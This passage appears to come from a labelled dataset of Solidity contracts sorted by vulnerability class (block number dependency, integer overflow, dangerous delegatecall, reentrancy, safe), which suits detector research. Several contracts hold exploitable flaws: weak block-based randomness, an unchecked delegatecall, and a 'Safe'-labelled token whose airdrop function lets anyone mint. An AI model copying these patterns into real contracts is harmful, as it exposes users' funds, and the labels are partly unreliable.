(block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, RP1datasets.EventReturns memory _eventData_) private returns(RP1datasets.EventReturns) { uint256 _com = _eth / 50; uint256 _rp1; community_addr.transfer(_com); uint256 _long = _eth / 100; marketing_addr.transfer(_long); uint256 _aff = _eth / 10; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit RP1events.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _rp1 = _aff; } return(_eventData_); } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); emit RP1events.onPotSwapDeposit(_rID, msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, RP1datasets.EventReturns memory _eventData_) private returns(RP1datasets.EventReturns) { uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; uint256 _air = (_eth.mul(3) / 100); airDropPot_ = airDropPot_.add(_air); _eth = _eth.sub(((_eth.mul(18)) / 100)); uint256 _pot = _eth.sub(_gen); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, RP1datasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit RP1events.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.rp1Amount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(activated_ == false, ""fomo3d already activated""); activated_ = true; rID_ = 1; round_[1].strt = now - rndGap_; round_[1].end = now + rndInit_ ; } } library RP1datasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 rp1Amount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; } struct TeamFee { uint256 gen; uint256 rp1; } struct PotSplit { uint256 gen; uint256 rp1; } } library RP1KeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface otherFoMo3D { function potSwap() external payable; } interface RP1externalSettingsInterface { function getFastGap() external returns(uint256); function getLongGap() external returns(uint256); function getFastExtra() external returns(uint256); function getLongExtra() external returns(uint256); } interface DiviesInterface { function deposit() external payable; } interface JIincForwarderInterface { function deposit() external payable returns(bool); function status() external view returns(address, address, bool); function startMigration(address _newCorpBank) external returns(bool); function cancelMigration() external returns(bool); function finishMigration() external returns(bool); function setup(address _firstCorpBank) external; } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 1657.sol,"pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract BTX is BurnableToken, MintableToken { string public name = ""BTX""; string public symbol = ""BTX""; uint public decimals = 6; uint public INITIAL_SUPPLY = 20000000 * (10 ** decimals); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }",./Dataset/integer overflow (OF)/,4,4 44311.sol,"pragma solidity ^0.4.24; contract DelegateCaller { uint public n; function delegatecallSetN(address _e, uint _n) public { if (! _e.delegatecall(bytes4(keccak256(""setN(uint256)"")), _n)) revert(); } }",./Dataset/dangerous delegatecall (DE)/,1,1 22.sol,"pragma solidity ^0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract XinCoin is StandardToken { address public admin; string public name = ""XinCoin""; string public symbol = ""XC""; uint8 public decimals = 8; uint256 public INITIAL_SUPPLY = 100000000000000000; mapping (address => bool) public frozenAccount; mapping (address => uint256) public frozenTimestamp; event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); constructor() public { totalSupply_ = INITIAL_SUPPLY; admin = msg.sender; balances[msg.sender] = INITIAL_SUPPLY; } function() public payable { require(msg.value > 0); } function changeAdmin( address _newAdmin ) public returns (bool) { require(msg.sender == admin); require(_newAdmin != address(0)); balances[_newAdmin] = balances[_newAdmin].add(balances[admin]); balances[admin] = 0; admin = _newAdmin; return true; } function generateToken( address _target, uint256 _amount ) public returns (bool) { require(msg.sender == admin); require(_target != address(0)); balances[_target] = balances[_target].add(_amount); totalSupply_ = totalSupply_.add(_amount); INITIAL_SUPPLY = totalSupply_; return true; } function withdraw ( uint256 _amount ) public returns (bool) { require(msg.sender == admin); msg.sender.transfer(_amount); return true; } function freeze( address _target, bool _freeze ) public returns (bool) { require(msg.sender == admin); require(_target != address(0)); frozenAccount[_target] = _freeze; return true; } function freezeWithTimestamp( address _target, uint256 _timestamp ) public returns (bool) { require(msg.sender == admin); require(_target != address(0)); frozenTimestamp[_target] = _timestamp; return true; } function multiFreeze( address[] _targets, bool[] _freezes ) public returns (bool) { require(msg.sender == admin); require(_targets.length == _freezes.length); uint256 len = _targets.length; require(len > 0); for (uint256 i = 0; i < len; i = i.add(1)) { address _target = _targets[i]; require(_target != address(0)); bool _freeze = _freezes[i]; frozenAccount[_target] = _freeze; } return true; } function multiFreezeWithTimestamp( address[] _targets, uint256[] _timestamps ) public returns (bool) { require(msg.sender == admin); require(_targets.length == _timestamps.length); uint256 len = _targets.length; require(len > 0); for (uint256 i = 0; i < len; i = i.add(1)) { address _target = _targets[i]; require(_target != address(0)); uint256 _timestamp = _timestamps[i]; frozenTimestamp[_target] = _timestamp; } return true; } function multiTransfer( address[] _tos, uint256[] _values ) public returns (bool) { require(!frozenAccount[msg.sender]); require(now > frozenTimestamp[msg.sender]); require(_tos.length == _values.length); uint256 len = _tos.length; require(len > 0); uint256 amount = 0; for (uint256 i = 0; i < len; i = i.add(1)) { amount = amount.add(_values[i]); } require(amount <= balances[msg.sender]); for (uint256 j = 0; j < len; j = j.add(1)) { address _to = _tos[j]; require(_to != address(0)); balances[_to] = balances[_to].add(_values[j]); balances[msg.sender] = balances[msg.sender].sub(_values[j]); emit Transfer(msg.sender, _to, _values[j]); } return true; } function transfer( address _to, uint256 _value ) public returns (bool) { require(!frozenAccount[msg.sender]); require(now > frozenTimestamp[msg.sender]); require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(!frozenAccount[_from]); require(now > frozenTimestamp[msg.sender]); require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve( address _spender, uint256 _value ) public returns (bool) { require(_value <= balances[_spender]); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function burn(uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply_ = totalSupply_.sub(_value); INITIAL_SUPPLY = totalSupply_; emit Burn(msg.sender, _value); return true; } function getFrozenTimestamp( address _target ) public view returns (uint256) { require(_target != address(0)); return frozenTimestamp[_target]; } function getFrozenAccount( address _target ) public view returns (bool) { require(_target != address(0)); return frozenAccount[_target]; } function getBalance(address _owner) public view returns (uint256) { return balances[_owner]; } function setName ( string _value ) public returns (bool) { require(msg.sender == admin); name = _value; return true; } function setSymbol ( string _value ) public returns (bool) { require(msg.sender == admin); symbol = _value; return true; } function kill() public { require(msg.sender == admin); selfdestruct(admin); } }",./Dataset/integer overflow (OF)/,4,4 0x00214120d3469a74ca586bc9557c0ff8fb09b157_TrueToken.sol,"pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract TrueToken is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = ""TrueToken""; string public constant symbol = ""TRU""; uint public constant decimals = 18; uint256 public totalSupply = 20000000000e18; uint256 public totalDistributed = 10000000000e18; uint256 public constant MIN_CONTRIBUTION = 1 ether / 1000; // 0.001 Ether uint256 public tokensPerEth = 20000000e18; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function TrueToken () public { owner = msg.sender; distr(owner, totalDistributed); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) external { doAirdrop(_participant, _amount); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) external { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; // minimum contribution require( msg.value >= MIN_CONTRIBUTION ); require( msg.value > 0 ); // get baseline number of tokens tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdraw() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }",Safe,8,8 21087.sol,"pragma solidity ^0.4.17; contract TinyProxy { address public receiver; uint public gasBudget; function TinyProxy(address toAddr, uint proxyGas) public { receiver = toAddr; gasBudget = proxyGas; } function () payable public { } event FundsReleased(address to, uint amount); function release() public { uint balance = address(this).balance; FundsReleased(receiver, balance); if(gasBudget > 0){ receiver.call.gas(gasBudget).value(balance); } else { receiver.transfer(balance); } } } contract TinyProxyFactory { mapping(address => mapping(address => address)) public proxyFor; function make(address to, uint gas, bool track) public returns(address proxy){ proxy = new TinyProxy(to, gas); if(track && proxyFor[to][msg.sender] == 0x0) { proxyFor[msg.sender][to] = proxy; } return proxy; } }",./Dataset/reentrancy (RE)/,5,5 0x049e6eb92fc1ca6bc6eca9f34ab43a9ad28d014b_CryptrustToken.sol,"pragma solidity ^0.4.24; /** * * Official Token of Cryptrust Platform * Decentralized Trust-Based Social Network * https://www.cryptrust.io */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract CryptrustToken is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; string public constant name = ""Cryptrust""; string public constant symbol = ""CTRT""; uint public constant decimals = 8; uint256 public totalSupply = 37000000000e8; uint256 public totalDistributed = 7000000000e8; uint256 public constant MIN_CONTRIBUTION = 1 ether / 50; // 0.02 Ether uint256 public tokensPerEth = 10000000e8; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } function CryptrustToken () public { owner = msg.sender; distr(owner, totalDistributed); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function doAirdrop(address _participant, uint _amount) internal { require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount); } function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner { doAirdrop(_participant, _amount); } function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner { for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; // minimum contribution require( msg.value >= MIN_CONTRIBUTION ); require( msg.value > 0 ); // get baseline number of tokens tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (tokens > 0) { distr(investor, tokens); } if (totalDistributed >= totalSupply) { distributionFinished = true; } } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } // mitigates the ERC20 short address attack modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // mitigates the ERC20 spend/approval race condition if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } 